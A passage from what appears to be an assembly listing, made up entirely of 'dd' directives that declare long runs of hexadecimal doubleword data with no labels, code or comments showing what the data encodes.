90BD1A7Eh, 0B2683148h, 0F699E67Bh dd 0AF239E0h, 0F7A2EA02h, 43C059C6h, 20B75F89h, 0C8F46B90h dd 0A4D200F5h, 0ABC4B854h, 65079152h, 0D4C70A0Eh, 0E0669E02h dd 84BB6C30h, 0C0880945h, 3C87E5E7h, 7500FAFh, 2EABDE88h dd 0BF02161h, 386CD713h, 366AE500h, 6C77ABBBh, 26691CB8h dd 3CDDC093h, 3343F025h, 4A736B21h, 0F80288D0h, 3F207944h dd 0D9252BADh, 34608286h, 0E0D912FBh, 0B42CAD93h, 0A193005Ch dd 77547498h, 0CA053B0Eh, 28E504C1h, 6AF5D804h, 0ECC3DE03h dd 0E05653ECh, 99797C82h, 0C81219FCh, 7A7244B8h, 987C6C8Ah dd 34192620h, 0D6910Ch, 0DD4ECAC8h, 2415B964h, 10ED3Dh dd 45BCC733h, 1F004C74h, 0A88E837Ah, 38877Ch, 2FA3A101h dd 5E510FB4h, 0FA4C9E0Fh, 87A9802Dh, 736EC99Fh, 52BCB028h dd 0BDC084E4h, 0CFC6757Ch, 13803AEDh, 24908ED6h, 17D840D0h dd 61242DCCh, 90283BC0h, 0E2DE00BEh, 43660C6Ch, 27000E94h dd 6DAA850h, 746E0A2h, 2BBF4125h, 4AB24E6h, 0F0E6FA31h dd 0DCE8604Ah, 0DCBE33A6h, 0AAA33C80h, 4F326A77h, 0DC9445F9h dd 0A764A188h, 5064A8C2h, 0E622DE01h, 7085EEDBh, 8CFFF0C8h dd 0E81FF2C4h, 0B3654E50h, 0C831AC7Ch, 0C3BF0265h, 6218C240h dd 16605B44h, 98409C15h, 40A180E9h, 0C3B9A128h, 4F3B0065h dd 0F7D7F0EDh, 950F35B5h, 13AD091Eh, 0A02268A2h, 0A58068B1h dd 2CB3CDC5h, 21CC9049h, 0B614BAE4h, 7A5B8174h, 9C417972h dd 4F117130h, 0E4DCD243h, 0A848AAE0h, 3CD6004Ah, 4B95F207h dd 1B00130Ah, 709B60B3h, 0F04477h, 3EED665h, 0AB68C348h dd 0A5A8DB1Ch, 39CB8D00h, 0B2825F81h, 2180432Ch, 7037041Eh dd 185E09E5h, 702533Ch, 0F0B2ABE2h, 32C75268h, 572E8B80h dd 234C9B01h, 0A96F1024h, 195C804Eh, 0C501B64Dh, 0D7E90745h dd 4C7384B5h, 0CF8EF70Ch, 45868C88h, 1863F0h, 0D01C2B59h dd 466D50h, 0C18C87F9h, 706E2ECBh, 901604E0h, 9CD09817h dd 3AE2F73Eh, 6305FBCEh, 81E98A23h, 466221Ch, 6534480h dd 0F4A85C37h, 8130BCE4h, 672462BEh, 0BCC6BE80h, 0AFA9123Ch dd 281F8F01h, 14746C3Bh, 9497842Ch, 9224BC7Ch, 0E08050F7h dd 0CE36CA99h, 0BB92A0C4h, 0D38CA1h, 47B01349h, 9F0E5AE7h dd 9CB29B00h, 0BD6F5E0h, 88EE15E5h, 0BCC96011h, 49600485h dd 5464F94Ch, 82408149h, 42731047h, 0E90F9B4h, 0DFC070E9h dd 286BDBBEh, 30320C00h, 0C02DB9FFh, 711317FBh, 0B10B260h dd 719CF508h, 0A11138h, 69BA35E9h, 1EAD56Fh, 78167057h dd 3A02DFA8h, 20AB4440h, 2D2DFF1Ch, 0A0847231h, 1128FDDAh dd 0DC0522ADh, 588BDC8h, 0D5603694h, 51C4A200h, 0D0327FA0h dd 93B0F310h, 61404CAh, 84E0F2FBh, 0C4E27E97h, 931FEA00h dd 34ED6674h, 884A5775h, 0E0D58483h, 3C5E4DE4h, 8997383Ch dd 6408D054h, 5800B8C0h, 824F7540h, 7288ECD1h, 0F6D7117h dd 0D6621BEDh, 77420320h, 8000EF8Eh, 0D4E8F129h, 1320C5D2h dd 31A2E410h, 6D298364h, 0E5884C6Ch, 0F80034A9h, 1204AACh dd 0CD25B975h, 0E859BEh, 0B02F0C22h, 591F3FE7h, 854B6520h dd 3270DAF3h, 0C951B474h, 106FFC5Eh, 540E5321h, 0E200907Bh dd 7ABAE0D2h, 0AB85A07h, 542E8005h, 74CCD715h, 0AA36008Dh dd 96518C08h, 35006165h, 38CA2877h, 5C9673Ah, 0BE92E418h dd 19B8D121h, 0C430046Bh, 181B152h, 63C2CDA0h, 285E1A14h dd 4B988714h, 92408BE7h, 2AECD9Dh, 0A1458E71h, 40685913h dd 0BC16FC33h, 0E88F88D5h, 0CE884621h, 40FCAE7Ah, 8D29BA48h dd 0C7B8B500h, 8820CFF2h, 241A493Dh, 99899440h, 0B24F0218h dd 606EB6BEh, 0E7AAA000h, 0A775726Bh, 2F7719h, 859A24CDh dd 0D4E4F3EFh, 0C0C8FB29h, 20E56E62h, 84D96967h, 0FF5D7201h dd 0A2BECC18h, 2217A838h, 3B60B643h, 0A3EF0023h, 8ED5219Ch dd 0FC8F2712h, 0B079EC3Ah, 47561200h, 2F97CADh, 0FD60CE63h dd 2461BF3Eh, 80CA0D18h, 0D9360648h, 1FB4B63Ah, 671C2235h dd 0A11694E3h, 7C019A16h, 0BED69B1h, 112A9007h, 67008C4Ch dd 0CF5B6EC4h, 64D62DB4h, 2377606Fh, 7C898531h, 89876C13h dd 71C492F7h, 0A22F12BDh, 0DE24F07Dh, 6222FB42h, 3AA80813h dd 10241032h, 58B2E8F0h, 58D4AB20h, 5B05A8CBh, 807DF638h dd 0FEB86798h, 0A880F320h, 19542728h, 49F20FA9h, 248C2B7Eh dd 63B9000Ch, 819CB66h, 561CC752h, 3CC3AFA0h, 0F970737Ch dd 0A84C5074h, 6BD989BFh, 0CA047040h, 0E75C78h, 0EA429995h dd 5B4647DBh, 97A25006h, 20B872A1h, 0DC09A523h, 98945601h dd 3884B00Ch, 6780CD8Eh, 8375065Ah, 66241C59h, 0CA71847Dh dd 7F627807h, 0C1BE0565h, 1A15A0h, 97F906ADh, 0CCC20C92h dd 0CC2C8051h, 44CF0909h, 9810B798h, 9C0463ACh, 0B189912Fh dd 74DAA580h, 0AFA501E1h, 0B86D919h, 0E415C8B2h, 0E2444A55h dd 0D7C40827h, 0D4C078E9h, 7FC7A202h, 1E9ABF01h, 1349B439h dd 403D4820h, 7A584FC6h, 0C0C98178h, 36DCC53Ch, 0DD6700A2h dd 4965A513h, 63092F0Ah, 5A8D116h, 44910E02h, 282EFD39h dd 0F7888C00h, 0BF8805FEh, 0A664D128h, 4E22B4h, 9008BCE6h dd 22DCF4DDh, 92009578h, 575DC44Ch, 3A37267Ah, 0FC067CDEh dd 394D423Fh, 5DF3AD02h, 4097BDEDh, 0F0757721h, 0C4330104h dd 794EB87Ah, 0A78984ABh, 0D4C870CDh, 0E7EB0717h, 139838D6h dd 73E7C2DEh, 0C10C654Eh, 0E1A49FBCh, 0B41058BEh, 842EE79Eh dd 8FA94900h, 0FE001587h, 0CCD5E5F8h, 5A66057Bh, 240308Ah dd 2D07A012h, 590A4657h, 0C8010930h, 62D010EEh, 0F00A5E9Ah dd 7443C8CDh, 1689011Ah, 3731FB53h, 0C8C22B5Ah, 80B20A1h dd 0C9009799h, 8A86D202h, 987C82E1h, 0F8FA20BCh, 88B0E740h dd 0D09B4DDh, 8B6F72ECh, 0E2C41118h, 1196E8h, 0F2F65178h dd 0FF06C2D5h, 0F8693709h, 0D9810053h, 0BC654FD6h, 86898734h dd 6FF002A0h, 6A7E490h, 2181CC00h, 2CED07BFh, 0FC9EF67Eh dd 2A420945h, 0C02B9AD1h, 0BF0C6882h, 20227922h, 96F3D816h dd 0B4BF579h, 0BF088004h, 1620BC22h, 45F038Ah, 32B2279Bh dd 249CB4F8h, 0FC942C50h, 0F852ECA9h, 0A8FE858Fh, 0E60034F4h dd 2DB66012h, 5B7ABD7Bh, 0E9B4C46Bh, 0B5D6C0D0h, 1546EAh dd 53759FCFh, 0F80CEAAh, 4C1AD24h, 0A50E3186h, 90109F31h dd 0A9127D08h, 0D013288Ah, 0EC1D64F2h, 0F48152AAh, 6CA97850h dd 0F02A08CDh, 0DC2995BEh, 310F9876h, 504C14F9h, 0CE138234h dd 5488E5B2h, 7F4B000Eh, 719DB7FDh, 1F01CBA3h, 0EDE7E609h dd 51F08E93h, 424B3867h, 16745E9Eh, 0CA6C90D0h, 8601117Ch dd 71CED144h, 7830ACD2h, 7D4486F2h, 70AB4C08h, 6CCE24C0h dd 0B45EFEBDh, 0B04E1488h, 0C898006Ch, 0FC97183Dh, 8805238Bh dd 0D3509946h, 6845CC09h, 9A9BE4h, 0C319DEA2h, 0DCEC57Ch dd 14415D2Fh, 2C999F5Ch, 3013D4E3h, 0FAED5300h, 0F43ED0C1h dd 4F7200D1h, 20ECC982h, 34010DB3h, 0F8164A3h, 356EF9A8h dd 0EDCD00D0h, 98AED0D5h, 1AF8E8A8h, 38219F84h, 0DCF42DD4h dd 0F0F4D205h, 7C5C2B01h dd 0BCA829Bh, 3EBF5C20h, 0A5966AAAh, 0A38416F9h, 0B4BE0020h dd 45A03ADDh, 0C9E500FBh, 7808AE7h, 0DF0049B7h, 465AA843h dd 0B0D32DDEh, 0E978D1h, 677BA7C0h, 0B84CFAD0h, 3404AC01h dd 5CA9F86Ah, 45CDD460h, 2C4637Ah, 47F08B4Fh, 0B4BDE0BFh dd 6DC163Eh, 3120D3ADh, 8840ECDCh, 6542C1F0h, 0D80C215Ah dd 8D00F972h, 681267FBh, 3CA79F92h, 0DC048BD4h, 0AE3F1C82h dd 98080D84h, 33378308h, 86902CF9h, 22092134h, 0E0B3AF96h dd 88010F88h, 0ACA8B86Eh, 3C00AC68h, 0F30B96A4h, 0CC822Fh dd 391F5913h, 0B815AEA0h, 800C9D2Dh, 0E51BF64h, 34D0C599h dd 8C00AD81h, 612895h, 8BAB792h, 7B902D3Ah, 0C8107202h dd 0C606D187h, 983CEBBCh, 75A751C0h, 0DE07427Ah, 5FA8A580h dd 7AFA117Ch, 40A89412h, 854DB2Eh, 9D88D1Ch, 3C0C1A01h dd 0B3C0BA87h, 66340364h, 0BC2CD78Ch, 0D24D67B0h, 35F2DBFFh dd 5C4B27C0h, 0C5A06E1Fh, 0E4D74Eh, 8A3E338Eh, 52D10FA1h dd 18800A1Ah, 314ECFC7h, 5A007A77h, 884B28Dh, 0FDFF206h dd 0CFFE0788h, 22CBB0A0h, 9CB7D96Fh, 3B6E1694h, 300BAF5h dd 3E54FDEFh, 0B815F62Eh, 3295EE4h, 0F5E4F938h, 2164EBA0h dd 0C2A80411h, 2A176C01h, 69295C63h, 71CC2510h, 8F600810h dd 209775BEh, 0ACB2204h, 674E1355h, 0BEEC2013h, 0F502B5F8h dd 6458B175h, 21B0E06Fh, 0B82F9542h, 52808800h, 9700A99Ch dd 0ACFEFBA8h, 25BC0EDh, 0BD50D4F1h, 0B464424Eh, 0B7B1A00h dd 21F989E6h, 0BEDE0B2Ah, 7CC81635h, 548A38FEh, 34536074h dd 48033574h, 0C20DBAB4h, 0B7302F72h, 3345ACC4h, 24E4212Bh dd 9BFBF413h, 0D6489900h, 7245D5ADh, 0C8B1AEh, 0BA624F5Dh dd 7100B5B8h, 0D6F9EE6h, 178374E4h, 1459FA06h, 0C8D36884h dd 163D6B84h, 0C07880D6h, 0D7CC96F5h, 4484B562h, 0FB78C827h dd 9F32BE01h, 72C18856h, 0CFC0807Ch, 794AF77Ah, 3EC8EF52h dd 0A7104C8Ah, 868E1B00h, 7C3C4C7Ah, 3119AC30h, 91B7A543h dd 19BC66B8h, 88BFF800h, 46BE55B3h, 7CC46248h, 33B19509h dd 0D06C41F6h, 0F248403Bh, 0D46F6EC4h, 6123340Ah, 140BE2E0h dd 0BB6CA1E7h, 606FB6B2h, 0ECD0B050h, 1A3CD0F5h, 2DC6D600h dd 0FDA58F09h, 24CA0B28h, 6ADF96h, 0BCF05082h, 2CB05C66h dd 0E680A896h, 0BB3801D4h, 318100BDh, 984B9B0h, 0CC035FD2h dd 9FFC9686h, 0F4D03B89h, 0A4883AC1h, 1C060017h, 77576781h dd 0B4A9EC83h, 0F4676AE7h, 3ED1D5B6h, 0B0447874h, 2458388h dd 0F180DB68h, 0F0F8C17Bh, 8D957888h, 0E2737D2Ch, 712C2300h dd 1A551C75h, 0E0413592h, 0E105DA63h, 0D7901CBh, 0FEF0C082h dd 23F58814h, 291CFA42h, 1E0088E4h, 0F7FEF4B4h, 1690115h dd 6255F5CDh, 60CB4F27h, 4209DC98h, 71C614F6h, 29800BC0h dd 0FC3B64B9h, 300433Ah, 0FE449072h, 5A1B05ECh, 0BE6C304Ah dd 1918CF93h, 0CE80747Ah, 1C00046h, 522E7103h, 6502D1A4h dd 519ABB8Ch, 3C5177h, 0F3124380h, 0D700C8EBh, 2373346Bh dd 424FFAh, 0EA037D51h, 0BCEF01ECh, 64C42600h, 1035C031h dd 68C90F98h, 7CEF034Eh, 87768A81h, 18302F8Fh, 5E9B59BFh dd 0B24C80D9h, 2BBFEF6Ah, 9D08D0A8h, 0C96120C7h, 52DE4A82h dd 37160980h, 6082D7D2h, 0C872C238h, 0C70B2442h, 0B1878D53h dd 630209BDh, 0EC41F6ECh, 4FA614Fh, 8E30E824h, 155DA0BFh dd 0D57DEh, 6CFC4EE0h, 8AE3CEE6h, 28BEE804h, 0C091D713h dd 8C397035h, 9117AC3h, 51D2CDC8h, 0DDC5EF00h, 0B9C15289h dd 74B077h, 3D9D8663h, 0C4712B7Ah, 0B15B7604h, 22EBF932h dd 8E10E744h, 17B51CF2h, 3EA04921h, 21184405h, 286DD0B0h dd 924C8884h, 0CF603008h, 694DCE42h, 102D2700h, 9A6CC0h dd 0D4498E22h, 2654766Ah, 4681AE00h, 6911EA04h, 0D6B63E20h dd 5EEE8600h, 9D0143E0h, 25FADAEEh, 0B9420C6h, 34870029h dd 8C60D936h, 0CBE67EF9h, 0EB327700h, 0EA114BE3h, 40F1004Ah dd 0B62A8770h, 0D300D0CCh, 0FA5268F5h, 0FE699B81h, 510F60E2h dd 22FF2FE8h, 1824A00h, 9AB13532h, 0D9A203BDh, 0A8B20C7Eh dd 3D525C2h, 9CA49Dh, 619DF638h, 0A3C6BE3Dh, 91F51400h dd 0F4B21E33h, 65D831FDh, 0E8A52068h, 0B6782784h, 0D31091Bh dd 9068C019h, 4E730FC5h, 7103697h, 8594F423h, 0CD5F1160h dd 9DE23047h, 0AB42EE31h, 0E11D08F6h, 2E43DD34h, 19F4B0Fh dd 761B1620h, 800EEBC4h, 0D64DAA31h, 0AB776Dh, 5845C06Eh dd 2BD1B040h, 0E6E52200h, 23D6B32Eh, 8B562821h, 0A5A9C0ADh dd 0FAEA1409h, 0A1FE300h, 0F8305F59h, 1131187Dh, 522613Ah dd 9E3D6B7Dh, 51A50CDAh, 2A9841B4h, 5294BEB9h, 1B00DCE3h dd 0D53B3523h, 6158BD04h, 59540F78h, 7AC5C70Fh, 8E913C30h dd 0D3A6149Bh, 220F88B5h, 34C0132Dh, 0C563C278h, 4E8E506h dd 7952B3h, 0E7963D16h, 40F3ED2Eh, 71C0EB79h, 310A9B71h dd 1A130551h, 4007F5CAh, 0FE239758h, 3500D869h, 0B4D2AAF3h dd 0EE36CCh, 93E7EF48h, 0A398F15Eh, 1BA61C02h, 41C0808Ch dd 61839E3Dh, 54F12627h, 6DBBE804h, 0B81B2BFFh, 0DE968090h dd 0EBA4440Ah, 0A7438C81h, 1600F49Fh, 0AFD20F3Eh, 0CD83AD01h dd 62F1D6ABh, 931112D3h, 0C5181025h, 993B7160h, 6828CC2Ch dd 433E3405h, 61CBFC6Eh, 0A51D800Bh, 0CFFDC2h, 0B07B39F7h dd 0C01D9DF2h, 5CAE9607h, 25268909h, 39866032h, 643EF2D0h dd 0D10D3A0Eh, 0EB51411Fh, 20B8D5E2h, 0E32980B0h, 0A4055D26h dd 2544833h, 5030D437h, 385A5Fh, 87F2DE14h, 3EA6410h, 6F93DB0Ah dd 851084EFh, 468BB884h, 0F8E11CA5h, 4AC43D68h, 4109093h dd 80E2AC86h, 3DF0790h, 0D8F7430Ch, 0E81398Fh, 6C64E9F4h dd 88835381h, 0A518301Ah, 782A9C40h, 670800ADh, 0E883C28Bh dd 280EE2A2h, 60B2F3BAh, 0FC1E020Eh, 6DACA082h, 6859CF8Eh dd 46325B60h, 5400CAB9h, 6D2FF6F2h, 0C84DA0Eh, 0B5B682FEh dd 0FD009DC9h, 3F4CC151h, 7F4AF1FCh, 7D5F00F4h, 8E365C58h dd 67030327h, 97A6292Dh, 543976B3h, 1F469C85h, 0E6CC513Ch dd 241F000Dh, 65622139h, 17779D00h, 0CCB71225h, 1FFF0BAh dd 28135A09h, 32E6E8EDh, 2FA2009Ch, 30F7C9E9h, 28910634h dd 0D18DDFA9h, 88023503h, 0FDB0E463h, 1B3E7E80h, 0D44D00B3h dd 0F89DEF6Ch, 43540F7Fh, 0D3037B9Ch, 0BD740486h, 21A28FDDh dd 0E019E315h, 45672A4h, 2EBB0529h, 9EA48013h, 5501D73Bh dd 0B5A2977Fh, 99809FCEh, 0D36BA1Ch, 0FD3E22F7h, 242D0002h dd 3989961Bh, 11A1C192h, 82BCCCB3h, 45B8F5E0h, 0DD7C4030h dd 6EBE24C6h, 0B46B4014h, 0E03710Fh, 25312EF9h, 5068566Ah dd 1DC2EA7Ch, 18993E18h, 1556A82Bh, 64C9A80h, 5C13D507h dd 0E1B31CDh, 0AF61990Dh, 54002DF5h, 0EFB86B41h, 0C0E248C8h dd 300C6E87h, 0A573BA06h, 0ADCA7500h, 0B0DDB47h, 0EA270F57h dd 16C27AE1h, 5C8EB498h, 41F540E0h, 0C6F03F4Ah, 58807890h dd 84A46E98h, 0F4B9E05h, 92808ACCh, 98424AA4h, 17CA0050h dd 0B993AF5Dh, 290141F1h, 7AA75EE7h, 71DD263Eh, 0A0BB4094h dd 10400E30h, 653C95F8h, 4E770046h, 0A5F222C9h, 0EC09150h dd 0F903FA6h, 803CD0B1h, 0E4E349E1h, 1DECA46Eh, 892A1C93h dd 148D1BBFh, 8422E940h, 9CB1BCB9h, 87E90A1Fh, 39112Ch dd 587284A7h, 92F84B2Ah, 0E34620A0h, 404C6828h, 0C52357Ch dd 9A22E4h dd 0BB9BE3Ch, 5CD41992h, 9E976700h, 0A931E243h, 967A1453h dd 6E10B417h, 0EC1E808Ah, 0A7682Ah, 6473DF23h, 4408314Eh dd 26588E64h, 0F6020880h, 285C90DBh, 1870529Ch, 8915F947h dd 32005957h, 0E667EDDFh, 0B01334B3h, 37650CEDh, 0B6711231h dd 4229431Dh, 81BF888Eh, 0CE4E520Bh, 80D899BFh, 4EC8CDB3h dd 2249D79h, 907B967h, 604F5C8Ah, 0D33CB9DDh, 183FE86Bh dd 6893D8A7h, 75326328h, 0E396C0C3h, 0FC4E980Ch, 0BA57D1Fh dd 40ABF084h, 43645A80h, 57132083h, 27142415h, 82559C5Ch dd 7F3503ACh, 0D8A2F55Bh, 0C168B97Ch, 2F8FF820h, 4807DD16h dd 1C5835E0h, 0F3268774h, 9688173h, 7B38310h, 8D1F3402h dd 28015CE4h, 3092B97Eh, 0D4207227h, 96C03CFh, 0D3F01359h dd 0D0ABCCA0h, 1F4DC700h, 789024B8h, 96CF0948h, 1030D218h dd 0B6178F23h, 2C44162Ah, 0A6449895h, 0A79CD0D0h, 0EB045BEFh dd 0D981286Eh, 2919F81h, 99605823h, 831CA440h, 6D9811C2h dd 0F0E0A281h, 5C05C054h, 0E0241E3Fh, 89F1F0EBh, 0DC0E3648h dd 0E068AF0Fh, 9824B45Bh, 0F8180112h, 34D87A9Ch, 0B04B3Fh dd 4ACE0AC1h, 0F1664956h, 3568CC64h, 1CB98304h, 0BE112178h dd 28DFA600h, 5447B1C5h, 0F4362E2Ah, 48074F7Ah, 78522BA1h dd 0CBB5A391h, 1E14B032h, 0BD84C0BBh, 0B5A0D36Dh, 4242D6A1h dd 6220CF9Ch, 26317393h, 40F4DA8Eh, 192F534Dh, 9B2D8900h dd 0C9D2097Fh, 141E46Eh, 0F8672C91h, 6089E733h, 0A4834ACh dd 9D238E08h, 0D00F1ECAh, 8B8E1C88h, 0A00742D1h, 0B4ABC1B8h dd 321980BDh, 0CFE7C1A1h, 814060DAh, 0C374D3DBh, 8D0756F2h dd 0D048012Eh, 6B1B1170h, 0B468098Bh, 0AC0240F0h, 0D10498FEh dd 0E75E1481h, 87BFB601h, 53578F61h, 1F80C1E0h, 8D7643h dd 0D658AB91h, 7DF4821Ah, 0F683309h, 3701038h, 313B89F9h dd 0FC9C0050h, 1E29F0B8h, 0A306AC8Ch, 502990D0h, 0A872E250h dd 0F56813Ch, 95796323h, 2ADAA560h, 8B03E470h, 0A8B2BA86h dd 93F8B054h, 4C20ED75h, 13113134h, 40066851h, 0F94A4034h dd 8A199315h, 0E1C11B8h, 80209671h, 63227B9Eh, 0FB7135E6h dd 0BD259600h, 0EBB8F37Fh, 3443281Eh, 84D1E25Ch, 72951D07h dd 0F84F1596h, 0C4888190h, 42170E69h, 913A4D68h, 20D20790h dd 0F1CC02EAh, 30B0195Ch, 10611989h, 199EECFh, 0A4D2663Ch dd 0FE215EBDh, 0F73C5450h, 0D9B9E0B3h, 26196008h, 60A0306Ah dd 3F372E46h, 0FCEF4A24h, 0DF630582h, 94D068F2h, 7988A692h dd 0DD22880Dh, 209B1631h, 0AC4454E9h, 0FA0094A3h, 15BAD2E5h dd 4149D9F0h, 6E00F38h, 0B200962Eh, 215F3C19h, 0A6020046h dd 0BD483693h, 3216F33Dh, 0E8005EF5h, 0DD053CC7h, 94F801h dd 2F417AAEh, 0FAB8F74Bh, 3893C648h, 0CAF580C3h, 36A2857Dh dd 555302BAh, 8E744C30h, 2D16A859h, 9F94EE00h, 289A9BCh dd 5E852B3Ah, 0A0C13B29h, 7C821586h, 2690906Bh, 0C746002Fh dd 5F4F5D42h, 0C800D03Ah, 0AAC5E401h, 1F44ADh, 8F1E787Fh dd 0C2438BB0h, 80EC3Ch, 0DB6819DFh, 4E6366Bh, 0BC539941h dd 90E3099Ch, 1B6774h, 0AB812349h, 6BD71CFBh, 72D94B00h dd 6E578D24h, 28049059h, 94D0B7DEh, 84ED4034h, 7900A3B0h dd 3674CE9Ah, 129EE60h, 0F4137CFBh, 2226517Ah, 21F84CD4h dd 31071639h, 720C0F2Ch, 97033BC0h, 88201F2Dh, 0C06B9EBh dd 0BCB67BEEh, 610E0179h, 0BF2611B2h, 1E7D4500h, 3EBDD7Ch dd 3587E44Dh, 0E29F73EEh, 0A0452030h, 0CA25DD80h, 0E92B240h dd 6421646h, 20902D2Ah, 94A52644h, 5709419Ch, 29BA717Fh dd 0BB3EB8h, 92520618h, 99D8091Ah, 793E0B68h, 0D57C7B00h dd 0A20077B8h, 0E8DFF19Fh, 322BE531h, 7650D8A8h, 9DF48C66h dd 0C89A830Eh, 80FC3434h, 0DE6F2E45h, 3AA0A863h, 0B441CFDh dd 1E9DC7h, 0C0E2CFB4h, 0BC14CD25h, 4C8CA3CBh, 542E0789h dd 304CD7BEh, 39F0623Ah, 6640246Ch, 0DB00A655h, 2DE3A3BBh dd 1E6A8C73h, 0C0F35AC5h, 916C4349h, 0C6FC629h, 0EB0E5148h dd 0C3603233h, 348A367h, 0A26FF805h, 0F68008C5h, 9C31A7h dd 44198875h, 0ED36266Ah, 814E1C00h, 0F8CC8F0Eh, 2E88C141h dd 0D42F5ABBh, 99135BA2h, 0C9009209h, 2DB0648Bh, 21B1C062h dd 82B38FFEh, 0C3E2DA03h, 1E3EECFFh, 98184440h, 798E2960h dd 950F1EB0h, 5AA9A1h, 4342AC64h, 3AC318B3h, 837929EAh dd 8C531200h, 0CB1C208h, 0E0561FA3h, 9E2D4CB7h, 720077E9h dd 80E74008h, 0C69547E1h, 215F2D18h, 0C2FC5926h, 0E168D400h dd 0FCEE02ADh, 1B433118h, 9F6FF969h, 0D6809FE9h, 0C08D39F5h dd 18191CD5h, 0A75DC147h, 8F4F7926h, 65721B0h, 4063DFh dd 0E806A0EEh, 722BB7Dh, 74AB1F28h, 542D6418h, 3F5F0989h dd 399C8389h, 51238FA6h, 0BEAD5BA3h, 80908F80h, 0A2A18900h dd 0DA3EE0E2h, 0CBBF188Ah, 2CC241C3h, 1C18640Ch, 11056121h dd 0EBF96Bh, 5F6A50C2h, 1FBE83CDh, 0C0E14AAFh, 82514227h dd 7B14EA16h, 1DF815DAh, 1880092Fh, 9B54587Dh, 5780A853h dd 51C2628Ch, 0CC8081EEh, 4620A324h, 7980A21Dh, 589A4C00h dd 60224307h, 18673959h, 7CA0E8D9h, 0C04019E1h, 2C600024h dd 143D7E92h, 53008C82h, 42991075h, 12C357h, 0E6656073h dd 509392C2h, 0DA167000h, 1787EF3Eh, 82F70F6Bh, 45E0274Bh dd 1ADE18BCh, 0C4FF69C3h, 1A1FA40Ch, 0E803B91Dh, 0D1383665h dd 603AC4B3h, 4D6421FCh, 0BE749AE6h, 9C657109h, 3A5B0020h dd 1877BF98h, 40BB0B79h, 0BC067AEDh, 0B02A6736h, 0A48D0049h dd 0DFDB7D94h, 53002DDCh, 7BFE6779h, 3440EAh, 0B5D035FCh dd 0C0850DD2h, 92549E02h, 87EF3A32h, 3D3047C8h, 0BCDFB1h dd 284D26ECh, 0FE978C64h, 0D120D830h, 4814940h, 0A0218D7Eh dd 0A2A488AEh, 1E633922h, 940208A7h, 5508C899h, 578FA998h dd 227C54A2h, 42B30025h, 304F6128h, 291226A3h, 682156A7h dd 0C1042077h, 521DD9EBh, 0A0922AE0h, 19B16560h, 3B77C600h dd 4BA2468h, 3C8000ACh, 0BFB95389h, 4F0A1921h, 0A02244ECh dd 3AD9DE80h, 9903A5B8h, 0D8560014h, 7F9821C9h, 0E1E40D51h dd 0D1AB10B4h, 35CB1296h, 0A240C3Dh, 0B7AF619h, 69C0CF02h dd 0C1F49C09h, 63F65D02h, 0D8FBC020h, 0B87048A3h, 77ADEAC0h dd 84021C65h, 41A8B36Bh, 0BE8680BFh, 1CE445B7h, 0E9985BB2h dd 481B1194h, 8FEF38F1h, 0FB675Fh, 430FDF5Ch, 1286FEAEh dd 421DE254h, 28B7F030h, 0E721B090h, 828B8F09h, 2C8088C4h dd 4100FD11h, 780F6939h, 95009F01h, 0EB147C1Bh, 552D1CAFh dd 0FED1C0A7h, 242E7FCh, 4678B2BCh, 14C065FFh, 0A5215731h dd 27116Bh, 0D00A7339h, 0E858014Bh, 8F9E0030h, 0B3531415h dd 4C482B97h, 23480634h, 415929h, 341A3EB9h, 6CF3768Eh dd 6E78BC01h, 0E186CD11h, 6100AC22h, 29D251B8h, 50E6B2F1h dd 389B8F24h, 0FF987103h, 0EC2085A5h, 0E319FE3h, 5AB8EA1Ch dd 0C86DF867h, 76EF8800h, 359E8B6h, 7237EFBh, 392CF140h dd 0F54034F9h, 3EA5A60Eh, 730023FDh, 0A094D3F8h, 91DF83E1h dd 0B845E402h, 0E406C4Eh, 8407E064h, 0BBA224C0h, 31C030E1h dd 0DE333B20h, 0A1B61345h, 0D90445CBh, 402800BBh, 0A08D8EEDh dd 1CE41878h, 6099656Fh, 0F3C9608Bh, 4460B057h, 4061F9FEh dd 32044B79h, 0EE41EADCh, 5EE5Dh, 0E9D58091h, 0D7B5706h dd 3481A724h, 2D03C711h dd 0FAF3E6B6h, 92C81802h, 84374B80h, 68CCC0FCh, 81168466h dd 430FC6Fh, 2427ED4Bh, 0E7ACEAD8h, 2434208Eh, 5F1EF5AFh dd 0B18081E3h, 0A113802h, 7D9C00EFh, 4D5BFDBAh, 7EF2712Eh dd 3B4511C3h, 790D8849h, 8A68C05Ch, 318682ABh, 0E86A91C4h dd 200FC882h, 2279CF1Fh, 7F2996C0h, 17D2870h, 81760A20h dd 6A5E1B31h, 0E03B2BE0h, 2543077Ah, 33A5178Ch, 70002EE7h dd 5303C62Bh, 828FF0ACh, 13189CB9h, 5A968804h, 9D0200A5h dd 23C4334Ch, 0F305323Ah, 8C81E40Bh, 3FC15400h, 0E0C8C0h dd 9A43A0A1h, 758D2884h, 600689Ah, 0C8C7AD09h, 0CE6296h dd 564EBFFAh, 0D61329A5h, 0F8A37D0Ah, 2B83F0A8h, 0C00AE506h dd 4CDE95C9h, 8702B247h, 0D6F8DC1Ch, 6400B789h, 3DFE7C9Dh dd 0BF236D04h, 10C00DA2h, 2407A899h, 4118F8A0h, 0CCFB9817h dd 6600BF0Dh, 249E53BBh, 7167888Eh, 8CF7340h, 8B4579A3h dd 8A995705h, 0A1548843h, 8D4918AFh, 50A4D118h, 35983000h dd 0B7246E31h, 839401AEh, 45780210h, 94722Ah, 0D3083F17h dd 0C054F915h, 73E7BE49h, 0CB3A647Fh, 0A0BA5Fh, 0CCE22B76h dd 359E2F51h, 8D88A88h, 0FF891A48h, 415419D7h, 3E1A2F08h dd 2030E752h, 0C123F63Ch, 9ACA28B1h, 98700A88h, 42F431E4h dd 0A724629Eh, 4AA02CC7h, 48AA99C0h, 3A185C55h, 5FA421F3h dd 53ADB200h, 0B314514Fh, 0C50031Ch, 0C630E738h, 0F07505B8h dd 13333203h, 97BCA25Ah, 39B5C700h, 5442004Dh, 849F65DDh dd 9B0FE372h, 800C318Eh, 5B27437Ch, 0AC5700D9h, 2BF4DD19h dd 0A50081E7h, 0F3B996E6h, 7A2D992Eh, 7D32009Ch, 0F0AD115Ah dd 6000AE78h, 0AB0B9A36h, 95E493h, 534A3DB8h, 0C258D820h dd 9B69DD00h, 0FB1F1164h, 0E28E002Bh, 0EDEE5425h, 0B8029039h dd 8312E4B0h, 344EE024h, 112B0CB7h, 0E51125ABh, 0CD13951Bh dd 0A018A828h, 3994637Bh, 52A8B1D8h, 86001759h, 0B3CB16FEh dd 0C1BFCCCAh, 7AAEE20h, 0A13086B6h, 3039CF43h, 8651937Ah dd 0A0799C2h, 0DFBAC794h, 289DCFF0h, 0E76700A5h, 527A6B05h dd 0BE633827h, 0F868B3E1h, 